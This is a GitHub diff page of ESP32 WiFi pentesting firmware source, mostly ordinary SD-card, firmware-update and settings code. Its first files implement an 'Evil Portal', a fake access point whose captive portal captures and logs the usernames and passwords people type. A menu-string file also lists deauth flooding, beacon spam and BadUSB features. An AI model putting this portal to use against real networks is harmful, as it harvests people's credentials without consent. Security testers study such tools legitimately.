this->dnsServer.start(53, "*", WiFi.softAPIP()); | ||
server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); | ||
|
||
String localIPURL = String("http://")+WiFi.softAPIP().toString(); | ||
|
||
server.on("/connecttest.txt", [](AsyncWebServerRequest *request) { request->redirect("http://logout.net"); }); // windows 11 captive portal workaround | ||
server.on("/wpad.dat", [](AsyncWebServerRequest *request) { request->send(404); }); | ||
server.on("/generate_204", [localIPURL](AsyncWebServerRequest *request) { request->redirect(localIPURL); }); // android captive portal redirect | ||
server.on("/redirect", [localIPURL](AsyncWebServerRequest *request) { request->redirect(localIPURL); }); // microsoft redirect | ||
server.on("/hotspot-detect.html", [localIPURL](AsyncWebServerRequest *request) { request->redirect(localIPURL); }); // apple call home | ||
server.on("/canonical.html", [localIPURL](AsyncWebServerRequest *request) { request->redirect(localIPURL); }); // firefox captive portal call home | ||
server.on("/success.txt", [](AsyncWebServerRequest *request) { request->send(200); }); // firefox captive portal call home | ||
server.on("/ncsi.txt", [localIPURL](AsyncWebServerRequest *request) { request->redirect(localIPURL); }); // windows call home | ||
server.on("/favicon.ico", [](AsyncWebServerRequest *request) { request->send(404); }); // webpage icon | ||
|
||
server.begin(); | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("Evil Portal READY"); | ||
#endif | ||
} | ||
|
||
void EvilPortal::startPortal() { | ||
// wait for flipper input to get config index | ||
this->startAP(); | ||
|
||
this->runServer = true; | ||
} | ||
|
||
void EvilPortal::sendToDisplay(String msg) { | ||
#ifdef HAS_SCREEN | ||
String display_string = ""; | ||
display_string.concat(msg); | ||
int temp_len = display_string.length(); | ||
for (int i = 0; i < 40 - temp_len; i++) | ||
{ | ||
display_string.concat(" "); | ||
} | ||
display_obj.loading = true; | ||
display_obj.display_buffer->add(display_string); | ||
display_obj.loading = false; | ||
#endif | ||
} | ||
|
||
void EvilPortal::main(uint8_t scan_mode) { | ||
if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){ | ||
this->dnsServer.processNextRequest(); | ||
if (this->name_received && this->password_received) { | ||
this->name_received = false; | ||
this->password_received = false; | ||
String logValue1 = | ||
"u: " + this->user_name; | ||
String logValue2 = "p: " + this->password; | ||
String full_string = logValue1 + " " + logValue2 + "\n"; | ||
esp32m_print(full_string); | ||
buffer_obj.append(full_string); | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay(full_string); | ||
#endif | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,114 @@ | ||
#pragma once | ||
|
||
#ifndef EvilPortal_h | ||
#define EvilPortal_h | ||
|
||
#include "ESPAsyncWebServer.h" | ||
#include <AsyncTCP.h> | ||
#include <DNSServer.h> | ||
|
||
#include "configs.h" | ||
#include "settings.h" | ||
#ifdef HAS_SCREEN | ||
#include "Display.h" | ||
#include <LinkedList.h> | ||
#endif | ||
#include "SDInterface.h" | ||
#include "Buffer.h" | ||
#include "lang_var.h" | ||
|
||
extern Settings settings_obj; | ||
extern SDInterface sd_obj; | ||
#ifdef HAS_SCREEN | ||
extern Display display_obj; | ||
#endif | ||
extern Buffer buffer_obj; | ||
|
||
#define WAITING 0 | ||
#define GOOD 1 | ||
#define BAD 2 | ||
|
||
#define SET_HTML_CMD "sethtml=" | ||
#define SET_AP_CMD "setap=" | ||
#define RESET_CMD "reset" | ||
#define START_CMD "start" | ||
#define ACK_CMD "ack" | ||
#define MAX_AP_NAME_SIZE 30 | ||
#define WIFI_SCAN_EVIL_PORTAL 30 | ||
|
||
char apName[MAX_AP_NAME_SIZE] = "PORTAL"; | ||
char index_html[MAX_HTML_SIZE] = "TEST"; | ||
|
||
struct ssid { | ||
String essid; | ||
uint8_t channel; | ||
uint8_t bssid[6]; | ||
bool selected; | ||
}; | ||
|
||
struct AccessPoint { | ||
String essid; | ||
uint8_t channel; | ||
uint8_t bssid[6]; | ||
bool selected; | ||
LinkedList<char>* beacon; | ||
char rssi; | ||
LinkedList<uint8_t>* stations; | ||
}; | ||
|
||
class CaptiveRequestHandler : public AsyncWebHandler { | ||
public: | ||
CaptiveRequestHandler() {} | ||
virtual ~CaptiveRequestHandler() {} | ||
|
||
bool canHandle(AsyncWebServerRequest *request) { return true; } | ||
|
||
void handleRequest(AsyncWebServerRequest *request) { | ||
request->send_P(200, "text/html", index_html); | ||
} | ||
}; | ||
|
||
class EvilPortal { | ||
|
||
private: | ||
bool runServer; | ||
bool name_received; | ||
bool password_received; | ||
|
||
String user_name; | ||
String password; | ||
|
||
bool has_html; | ||
bool has_ap; | ||
|
||
DNSServer dnsServer; | ||
|
||
void (*resetFunction)(void) = 0; | ||
|
||
bool setHtml(); | ||
bool setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points); | ||
void setupServer(); | ||
void startPortal(); | ||
void startAP(); | ||
void sendToDisplay(String msg); | ||
|
||
public: | ||
EvilPortal(); | ||
|
||
String target_html_name = "index.html"; | ||
uint8_t selected_html_index = 0; | ||
|
||
bool using_serial_html; | ||
|
||
LinkedList<String>* html_files; | ||
|
||
String get_user_name(); | ||
String get_password(); | ||
void setup(); | ||
bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points); | ||
void main(uint8_t scan_mode); | ||
void setHtmlFromSerial(); | ||
|
||
}; | ||
|
||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,215 @@ | ||
#include "SDInterface.h" | ||
#include "lang_var.h" | ||
|
||
|
||
bool SDInterface::initSD() { | ||
return false; | ||
} | ||
|
||
File SDInterface::getFile(String path) { | ||
if (this->supported) { | ||
File file = SD.open(path, FILE_READ); | ||
|
||
//if (file) | ||
return file; | ||
} | ||
} | ||
|
||
bool SDInterface::removeFile(String file_path) { | ||
if (SD.remove(file_path)) | ||
return true; | ||
else | ||
return false; | ||
} | ||
|
||
void SDInterface::listDirToLinkedList(LinkedList<String>* file_names, String str_dir, String ext) { | ||
if (this->supported) { | ||
File dir = SD.open(str_dir); | ||
while (true) | ||
{ | ||
File entry = dir.openNextFile(); | ||
if (!entry) | ||
{ | ||
break; | ||
} | ||
|
||
if (entry.isDirectory()) | ||
continue; | ||
|
||
String file_name = entry.name(); | ||
if (ext != "") { | ||
if (file_name.endsWith(ext)) { | ||
file_names->add(file_name); | ||
} | ||
} | ||
else | ||
file_names->add(file_name); | ||
} | ||
} | ||
} | ||
|
||
void SDInterface::listDir(String str_dir){ | ||
if (this->supported) { | ||
File dir = SD.open(str_dir); | ||
while (true) | ||
{ | ||
File entry = dir.openNextFile(); | ||
if (! entry) | ||
{ | ||
break; | ||
} | ||
//for (uint8_t i = 0; i < numTabs; i++) | ||
//{ | ||
// esp32m_print('\t'); | ||
//} | ||
esp32m_print(entry.name()); | ||
esp32m_print("\t"); | ||
esp32m_println(entry.size()); | ||
entry.close(); | ||
} | ||
} | ||
} | ||
|
||
void SDInterface::runUpdate() { | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.setTextWrap(false); | ||
display_obj.tft.setFreeFont(NULL); | ||
display_obj.tft.setCursor(0, TFT_HEIGHT / 3); | ||
display_obj.tft.setTextSize(1); | ||
display_obj.tft.setTextColor(TFT_WHITE); | ||
|
||
display_obj.tft.println(F(text15)); | ||
#endif | ||
File updateBin = SD.open("/update.bin"); | ||
if (updateBin) { | ||
if(updateBin.isDirectory()){ | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.setTextColor(TFT_RED); | ||
display_obj.tft.println(F(text_table2[0])); | ||
#endif | ||
esp32m_println(F("Error, could not find \"update.bin\"")); | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.setTextColor(TFT_WHITE); | ||
#endif | ||
updateBin.close(); | ||
return; | ||
} | ||
|
||
size_t updateSize = updateBin.size(); | ||
|
||
if (updateSize > 0) { | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.println(F(text_table2[1])); | ||
#endif | ||
esp32m_println(F("Starting update over SD. Please wait...")); | ||
this->performUpdate(updateBin, updateSize); | ||
} | ||
else { | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.setTextColor(TFT_RED); | ||
display_obj.tft.println(F(text_table2[2])); | ||
#endif | ||
esp32m_println(F("Error, file is empty")); | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.setTextColor(TFT_WHITE); | ||
#endif | ||
return; | ||
} | ||
|
||
updateBin.close(); | ||
|
||
// whe finished remove the binary from sd card to indicate end of the process | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.println(F(text_table2[3])); | ||
#endif | ||
esp32m_println(F("rebooting...")); | ||
//SD.remove("/update.bin"); | ||
delay(1000); | ||
ESP.restart(); | ||
} | ||
else { | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.setTextColor(TFT_RED); | ||
display_obj.tft.println(F(text_table2[4])); | ||
#endif | ||
esp32m_println(F("Could not load update.bin from sd root")); | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.setTextColor(TFT_WHITE); | ||
#endif | ||
} | ||
} | ||
|
||
void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) { | ||
if (Update.begin(updateSize)) { | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.println(text_table2[5] + String(updateSize)); | ||
display_obj.tft.println(F(text_table2[6])); | ||
#endif | ||
size_t written = Update.writeStream(updateSource); | ||
if (written == updateSize) { | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.println(text_table2[7] + String(written) + text_table2[10]); | ||
#endif | ||
esp32m_println("Written : " + String(written) + " successfully"); | ||
} | ||
else { | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.println(text_table2[8] + String(written) + "/" + String(updateSize) + text_table2[9]); | ||
#endif | ||
esp32m_println("Written only : " + String(written) + "/" + String(updateSize) + ". Retry?"); | ||
} | ||
if (Update.end()) { | ||
esp32m_println("OTA done!"); | ||
if (Update.isFinished()) { | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.println(F(text_table2[11])); | ||
#endif | ||
esp32m_println(F("Update successfully completed. Rebooting.")); | ||
} | ||
else { | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.setTextColor(TFT_RED); | ||
display_obj.tft.println(text_table2[12]); | ||
#endif | ||
esp32m_println("Update not finished? Something went wrong!"); | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.setTextColor(TFT_WHITE); | ||
#endif | ||
} | ||
} | ||
else { | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.println(text_table2[13] + String(Update.getError())); | ||
#endif | ||
esp32m_println("Error Occurred. Error #: " + String(Update.getError())); | ||
} | ||
|
||
} | ||
else | ||
{ | ||
#ifdef HAS_SCREEN | ||
display_obj.tft.println(text_table2[14]); | ||
#endif | ||
esp32m_println("Not enough space to begin OTA"); | ||
} | ||
} | ||
|
||
bool SDInterface::checkDetectPin() { | ||
#ifdef KIT | ||
if (digitalRead(SD_DET) == LOW) | ||
return true; | ||
else | ||
return false; | ||
#endif | ||
|
||
return false; | ||
} | ||
|
||
void SDInterface::main() { | ||
if (!this->supported) { | ||
if (checkDetectPin()) { | ||
delay(100); | ||
this->initSD(); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
#pragma once | ||
|
||
#ifndef SDInterface_h | ||
#define SDInterface_h | ||
|
||
#include "configs.h" | ||
|
||
#include "settings.h" | ||
#ifdef USE_SD_MMC_INTERFACE | ||
#include "../../../src/Devices/Storage/ESP32/SDMMCFS2.h" | ||
#define SD fs::SD_MMC_2 | ||
#elif USE_SPIFFS_INTERFACE | ||
#include <SPIFFS.h> | ||
#define SD SPIFFS | ||
#else | ||
#include "SD.h" | ||
#endif | ||
|
||
#include "Buffer.h" | ||
#ifdef HAS_SCREEN | ||
#include "Display.h" | ||
#endif | ||
#include <Update.h> | ||
|
||
extern Buffer buffer_obj; | ||
extern Settings settings_obj; | ||
#ifdef HAS_SCREEN | ||
extern Display display_obj; | ||
#endif | ||
|
||
#ifdef KIT | ||
#define SD_DET 4 | ||
#endif | ||
|
||
class SDInterface { | ||
|
||
private: | ||
#if defined(MARAUDER_M5STICKC) | ||
SPIClass *spiExt; | ||
#endif | ||
bool checkDetectPin(); | ||
|
||
public: | ||
uint8_t cardType; | ||
//uint64_t cardSizeBT; | ||
//uint64_t cardSizeKB; | ||
uint64_t cardSizeMB; | ||
//uint64_t cardSizeGB; | ||
bool supported = false; | ||
|
||
String card_sz; | ||
|
||
bool initSD(); | ||
|
||
LinkedList<String>* sd_files; | ||
|
||
void listDir(String str_dir); | ||
void listDirToLinkedList(LinkedList<String>* file_names, String str_dir = "/", String ext = ""); | ||
File getFile(String path); | ||
void runUpdate(); | ||
void performUpdate(Stream &updateSource, size_t updateSize); | ||
void main(); | ||
bool removeFile(String file_path); | ||
}; | ||
|
||
#endif |
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,190 @@ | ||
#pragma once | ||
|
||
#ifndef lang_var_h | ||
#define lang_var_h | ||
|
||
|
||
#include "configs.h" | ||
|
||
//Starting window texts | ||
PROGMEM const char text0_0[] = "Giving room for HardwareSerial..."; | ||
PROGMEM const char text0_1[] = "Started Serial"; | ||
PROGMEM const char text0_2[] = "Checked RAM"; | ||
PROGMEM const char text0_3[] = "Initialized SD Card"; | ||
PROGMEM const char text0_4[] = "Failed to Initialize SD Card"; | ||
PROGMEM const char text0_5[] = "Checked battery configuration"; | ||
PROGMEM const char text0_6[] = "Initialized temperature interface"; | ||
PROGMEM const char text0_7[] = "Initialized LED Interface"; | ||
PROGMEM const char text0_8[] = "Starting..."; | ||
|
||
//Single library (action) texts/Often used | ||
PROGMEM const char text00[] = "Battery Level changed: "; | ||
PROGMEM const char text01[] = "file closed"; | ||
PROGMEM const char text02[] = "Failed to open file '"; | ||
PROGMEM const char text03[] = "ON"; | ||
PROGMEM const char text04[] = "OFF"; | ||
PROGMEM const char text05[] = "Load"; | ||
PROGMEM const char text06[] = "Save As"; | ||
PROGMEM const char text07[] = "Exit"; | ||
PROGMEM const char text08[] = "Settings"; | ||
PROGMEM const char text09[] = "Back"; | ||
PROGMEM const char text10[] = "Channel:"; | ||
PROGMEM const char text11[] = "Touch screen to exit"; | ||
PROGMEM const char text12[] = "Cancel"; | ||
PROGMEM const char text13[] = "Save"; | ||
PROGMEM const char text14[] = "Yes"; | ||
PROGMEM const char text15[] = "Opening /update.bin..."; | ||
PROGMEM const char text16[] = "Close"; | ||
PROGMEM const char text17[] = "FAIL"; | ||
PROGMEM const char text18[] = "packets/sec: "; | ||
|
||
|
||
//Menufunctions.cpp texts | ||
PROGMEM const char text1_0[] = "SSID List"; | ||
PROGMEM const char text1_1[] = "Add SSIDs"; | ||
PROGMEM const char text1_2[] = "SSID: "; | ||
PROGMEM const char text1_3[] = "Password:"; | ||
PROGMEM const char text1_4[] = "Setting disabled"; | ||
PROGMEM const char text1_5[] = "Setting on"; | ||
PROGMEM const char text1_6[] = "ESP32 Marauder "; | ||
PROGMEM const char text1_7[] = "WiFi "; | ||
PROGMEM const char text1_8[] = "Bad USB "; | ||
PROGMEM const char text1_9[] = "Device "; | ||
PROGMEM const char text1_10[] = "General Apps "; | ||
PROGMEM const char text1_11[] = "Updating... "; | ||
PROGMEM const char text1_12[] = "Select Method "; | ||
PROGMEM const char text1_13[] = "Confirm Update "; | ||
PROGMEM const char text1_14[] = "ESP8266 Update "; | ||
PROGMEM const char text1_15[] = "Update Firmware "; | ||
PROGMEM const char text1_16[] = "Language "; | ||
PROGMEM const char text1_17[] = "Device Info "; | ||
PROGMEM const char text1_18[] = "Settings "; | ||
PROGMEM const char text1_19[] = "Bluetooth "; | ||
PROGMEM const char text1_20[] = "WiFi Sniffers "; | ||
PROGMEM const char text1_21[] = "WiFi Attacks "; | ||
PROGMEM const char text1_22[] = "WiFi General "; | ||
PROGMEM const char text1_23[] = "Bluetooth Sniffers "; | ||
PROGMEM const char text1_24[] = "Bluetooth General "; | ||
PROGMEM const char text1_25[] = "Shutdown WiFi "; | ||
PROGMEM const char text1_26[] = "Shutdown BLE "; | ||
PROGMEM const char text1_27[] = "Generate SSIDs "; | ||
PROGMEM const char text1_28[] = "Clear SSIDs "; | ||
PROGMEM const char text1_29[] = "Clear APs "; | ||
PROGMEM const char text1_30[] = "Reboot"; | ||
PROGMEM const char text1_31[] = "Sniffers"; | ||
PROGMEM const char text1_32[] = "Attacks"; | ||
PROGMEM const char text1_33[] = "General"; | ||
PROGMEM const char text1_34[] = "Bluetooth Sniffer"; | ||
PROGMEM const char text1_35[] = "Detect Card Skimmers"; | ||
PROGMEM const char text1_36[] = "Test BadUSB"; | ||
PROGMEM const char text1_37[] = "Run Ducky Script"; | ||
PROGMEM const char text1_38[] = "Draw"; | ||
PROGMEM const char text1_39[] = "Web Update"; | ||
PROGMEM const char text1_40[] = "SD Update"; | ||
PROGMEM const char text1_41[] = "ESP8266 Update"; | ||
PROGMEM const char text1_42[] = "Probe Request Sniff"; | ||
PROGMEM const char text1_43[] = "Beacon Sniff"; | ||
PROGMEM const char text1_44[] = "Deauth Sniff"; | ||
PROGMEM const char text1_45[] = "Packet Monitor"; | ||
PROGMEM const char text1_46[] = "EAPOL/PMKID Scan"; | ||
PROGMEM const char text1_47[] = "Detect Pwnagotchi"; | ||
PROGMEM const char text1_48[] = "Detect Espressif"; | ||
PROGMEM const char text1_49[] = "Scan APs"; | ||
PROGMEM const char text1_50[] = "Beacon Spam List"; | ||
PROGMEM const char text1_51[] = "Beacon Spam Random"; | ||
PROGMEM const char text1_52[] = "Rick Roll Beacon"; | ||
PROGMEM const char text1_53[] = "Probe Req Flood"; | ||
PROGMEM const char text1_54[] = "Deauth Flood"; | ||
PROGMEM const char text1_55[] = "Join WiFi"; | ||
PROGMEM const char text1_56[] = "Select APs"; | ||
PROGMEM const char text1_57[] = "AP Clone Spam"; | ||
PROGMEM const char text1_58[] = "Raw Capture"; | ||
PROGMEM const char text1_59[] = "Station Sniff"; | ||
PROGMEM const char text1_60[] = "Clear Stations"; | ||
PROGMEM const char text1_61[] = "Select Stations"; | ||
PROGMEM const char text1_62[] = "Deauth Targeted"; | ||
|
||
|
||
//SDInterface.cpp texts | ||
PROGMEM const char text2_0[] = "Error, could not find update.bin"; | ||
PROGMEM const char text2_1[] = "Starting SD Update..."; | ||
PROGMEM const char text2_2[] = "Error, update.bin is empty"; | ||
PROGMEM const char text2_3[] = "\nRebooting...\n"; | ||
PROGMEM const char text2_4[] = "Could not load update.bin from /"; | ||
PROGMEM const char text2_5[] = "File size: "; | ||
PROGMEM const char text2_6[] = "Writing file to partition..."; | ||
PROGMEM const char text2_7[] = "Written: "; | ||
PROGMEM const char text2_8[] = "Written only : "; | ||
PROGMEM const char text2_9[] = ". Retry?"; | ||
PROGMEM const char text2_10[] = " successfully"; | ||
PROGMEM const char text2_11[] = "Update complete"; | ||
PROGMEM const char text2_12[] = "Update could not complete"; | ||
PROGMEM const char text2_13[] = "Error Occurred. Error #: "; | ||
PROGMEM const char text2_14[] = "Not enough space to begin OTA"; | ||
|
||
//Web.cpp texts | ||
PROGMEM const char text3_0[] = "Configuring update server...\n\n"; | ||
PROGMEM const char text3_1[] = "IP address: "; | ||
PROGMEM const char text3_2[] = "Update: "; | ||
PROGMEM const char text3_3[] = "Bytes complete: "; | ||
PROGMEM const char text3_4[] = "Update Success: "; | ||
PROGMEM const char text3_5[] = "\nCompleted update server setup"; | ||
|
||
//WiFiScan.cpp texts | ||
PROGMEM const char text4_0[] = " RSSI: "; | ||
PROGMEM const char text4_1[] = "Potential Skimmer: "; | ||
PROGMEM const char text4_2[] = "Already Connected"; | ||
PROGMEM const char text4_3[] = "Failed to connect"; | ||
PROGMEM const char text4_4[] = "Connected"; | ||
PROGMEM const char text4_5[] = "ForcePMKID"; | ||
PROGMEM const char text4_6[] = "ForceProbe"; | ||
PROGMEM const char text4_7[] = "SavePCAP"; | ||
PROGMEM const char text4_8[] = "Probe Flood"; | ||
PROGMEM const char text4_9[] = "Clearing APs..."; | ||
PROGMEM const char text4_10[] = "APs Cleared: "; | ||
PROGMEM const char text4_11[] = "Clearing SSIDs..."; | ||
PROGMEM const char text4_12[] = "SSIDs Cleared: "; | ||
PROGMEM const char text4_13[] = "Generating SSIDs..."; | ||
PROGMEM const char text4_14[] = "SSIDs Generated: "; //Add spaces before to match : [15] | ||
PROGMEM const char text4_15[] = " Total SSIDs: "; //Add spaces beforer to match : [14] | ||
PROGMEM const char text4_16[] = "Shutting down WiFi..."; | ||
PROGMEM const char text4_17[] = "WiFi not currently initialized"; | ||
PROGMEM const char text4_18[] = "Shutting down BLE..."; | ||
PROGMEM const char text4_19[] = "BLE not currently initialized"; | ||
PROGMEM const char text4_20[] = "Firmware: Marauder"; //From 20 to 35 add spaces so : is in line like it is now | ||
PROGMEM const char text4_21[] = "Version: "; | ||
PROGMEM const char text4_22[] = "ESP-IDF: "; | ||
PROGMEM const char text4_23[] = "WSL Bypass: enabled"; | ||
PROGMEM const char text4_24[] = "WSL Bypass: disabled"; | ||
PROGMEM const char text4_25[] = "Station MAC: "; | ||
PROGMEM const char text4_26[] = "AP MAC: "; | ||
PROGMEM const char text4_27[] = ""; | ||
PROGMEM const char text4_28[] = "SD Card: Connected"; | ||
PROGMEM const char text4_29[] = "SD Card Size: "; | ||
PROGMEM const char text4_30[] = "SD Card: Not Connected"; | ||
PROGMEM const char text4_31[] = "SD Card Size: 0"; | ||
PROGMEM const char text4_32[] = "IP5306 I2C: supported"; | ||
PROGMEM const char text4_33[] = "Battery Lvl: "; | ||
PROGMEM const char text4_34[] = "IP5306 I2C: not supported"; | ||
PROGMEM const char text4_35[] = "Internal temp: "; | ||
PROGMEM const char text4_36[] = " Detect Espressif "; | ||
PROGMEM const char text4_37[] = " Detect Pwnagotchi "; | ||
PROGMEM const char text4_38[] = " Beacon Sniffer "; | ||
PROGMEM const char text4_39[] = " Deauthentication Sniffer "; | ||
PROGMEM const char text4_40[] = " Probe Request Sniffer "; | ||
PROGMEM const char text4_41[] = " Bluetooth Sniff "; | ||
PROGMEM const char text4_42[] = " Detect Card Skimmers "; | ||
PROGMEM const char text4_43[] = "Scanning for\nBluetooth-enabled skimmers\nHC-03, HC-05, and HC-06..."; | ||
PROGMEM const char text4_44[] = " AP Scan "; | ||
PROGMEM const char text4_45[] = "Clearing Stations..."; | ||
PROGMEM const char text4_46[] = "Stations Cleared: "; | ||
PROGMEM const char text4_47[] = "Targeted Deauth"; | ||
|
||
//Making tables | ||
PROGMEM const char *text_table0[] = {text0_0,text0_1, text0_2, text0_3, text0_4, text0_5, text0_6, text0_7, text0_8}; | ||
PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58,text1_59,text1_60,text1_61,text1_62}; | ||
PROGMEM const char *text_table2[] = {text2_0,text2_1,text2_2,text2_3,text2_4,text2_5,text2_6,text2_7,text2_8,text2_9,text2_10,text2_11,text2_12,text2_13,text2_14}; | ||
PROGMEM const char *text_table3[] = {text3_0,text3_1,text3_2,text3_3,text3_4,text3_5}; | ||
PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46,text4_47}; | ||
|
||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,342 @@ | ||
#include "settings.h" | ||
|
||
#define DEFAULT_SETTING_FILE "/settings.json" | ||
|
||
String Settings::getSettingsString() { | ||
return this->json_settings_string; | ||
} | ||
|
||
bool Settings::begin(fs::FS fs, String filename) { | ||
if (!fs.exists(filename)) | ||
{ | ||
esp32m_println("Could not find settings file"); | ||
if (!this->createDefaultSettings(fs, filename)) | ||
{ | ||
return false; | ||
} | ||
} | ||
|
||
File settingsFile = fs.open(filename, FILE_READ); | ||
if (!settingsFile) | ||
{ | ||
esp32m_println("Settings file could not be opened"); | ||
return false; | ||
} | ||
|
||
String json_string; | ||
DynamicJsonDocument jsonBuffer(1024); | ||
DeserializationError error = deserializeJson(jsonBuffer, settingsFile); | ||
serializeJson(jsonBuffer, json_string); | ||
this->json_settings_string = json_string; | ||
|
||
return true; | ||
} | ||
|
||
bool Settings::begin() { | ||
// This code path is used when USB Army Knife is running wihtout an SD card | ||
// In this mode we don't want to ever erase the filesystem as this has the users config file on it | ||
// As such if SPIFFS is broken its up to them to push a filesystem image to it | ||
if(!SPIFFS.begin(false)){ | ||
esp32m_println("Settings SPIFFS Mount Failed"); | ||
return false; | ||
} | ||
|
||
File settingsFile; | ||
|
||
if (SPIFFS.exists(DEFAULT_SETTING_FILE)) { | ||
settingsFile = SPIFFS.open(DEFAULT_SETTING_FILE, FILE_READ); | ||
|
||
if (!settingsFile) { | ||
settingsFile.close(); | ||
esp32m_println(F("Could not find settings file")); | ||
if (this->createDefaultSettings(SPIFFS)) | ||
return true; | ||
else | ||
return false; | ||
} | ||
} | ||
else { | ||
esp32m_println("Settings file does not exist"); | ||
if (this->createDefaultSettings(SPIFFS)) | ||
return true; | ||
else | ||
return false; | ||
} | ||
|
||
String json_string; | ||
DynamicJsonDocument jsonBuffer(1024); | ||
DeserializationError error = deserializeJson(jsonBuffer, settingsFile); | ||
serializeJson(jsonBuffer, json_string); | ||
|
||
this->json_settings_string = json_string; | ||
|
||
return true; | ||
} | ||
|
||
template <typename T> | ||
T Settings::loadSetting(String key) {} | ||
|
||
// Get type int settings | ||
template<> | ||
int Settings::loadSetting<int>(String key) { | ||
DynamicJsonDocument json(1024); // ArduinoJson v6 | ||
|
||
if (deserializeJson(json, this->json_settings_string)) { | ||
esp32m_println("\nCould not parse json"); | ||
} | ||
|
||
for (int i = 0; i < json["Settings"].size(); i++) { | ||
if (json["Settings"][i]["name"].as<String>() == key) | ||
return json["Settings"][i]["value"]; | ||
} | ||
|
||
return 0; | ||
} | ||
|
||
// Get type string settings | ||
template<> | ||
String Settings::loadSetting<String>(String key) { | ||
//return this->json_settings_string; | ||
|
||
DynamicJsonDocument json(1024); // ArduinoJson v6 | ||
|
||
if (deserializeJson(json, this->json_settings_string)) { | ||
esp32m_println("\nCould not parse json"); | ||
} | ||
|
||
for (int i = 0; i < json["Settings"].size(); i++) { | ||
if (json["Settings"][i]["name"].as<String>() == key) | ||
return json["Settings"][i]["value"]; | ||
} | ||
|
||
return ""; | ||
} | ||
|
||
// Get type bool settings | ||
template<> | ||
bool Settings::loadSetting<bool>(String key) { | ||
DynamicJsonDocument json(1024); // ArduinoJson v6 | ||
|
||
if (deserializeJson(json, this->json_settings_string)) { | ||
esp32m_println("\nCould not parse json"); | ||
} | ||
|
||
for (int i = 0; i < json["Settings"].size(); i++) { | ||
if (json["Settings"][i]["name"].as<String>() == key) | ||
return json["Settings"][i]["value"]; | ||
} | ||
|
||
return false; | ||
} | ||
|
||
//Get type uint8_t settings | ||
template<> | ||
uint8_t Settings::loadSetting<uint8_t>(String key) { | ||
DynamicJsonDocument json(1024); // ArduinoJson v6 | ||
|
||
if (deserializeJson(json, this->json_settings_string)) { | ||
esp32m_println("\nCould not parse json"); | ||
} | ||
|
||
for (int i = 0; i < json["Settings"].size(); i++) { | ||
if (json["Settings"][i]["name"].as<String>() == key) | ||
return json["Settings"][i]["value"]; | ||
} | ||
|
||
return 0; | ||
} | ||
|
||
template <typename T> | ||
T Settings::saveSetting(String key, bool value) {} | ||
|
||
template<> | ||
bool Settings::saveSetting<bool>(String key, bool value) { | ||
DynamicJsonDocument json(1024); // ArduinoJson v6 | ||
|
||
if (deserializeJson(json, this->json_settings_string)) { | ||
esp32m_println("\nCould not parse json"); | ||
} | ||
|
||
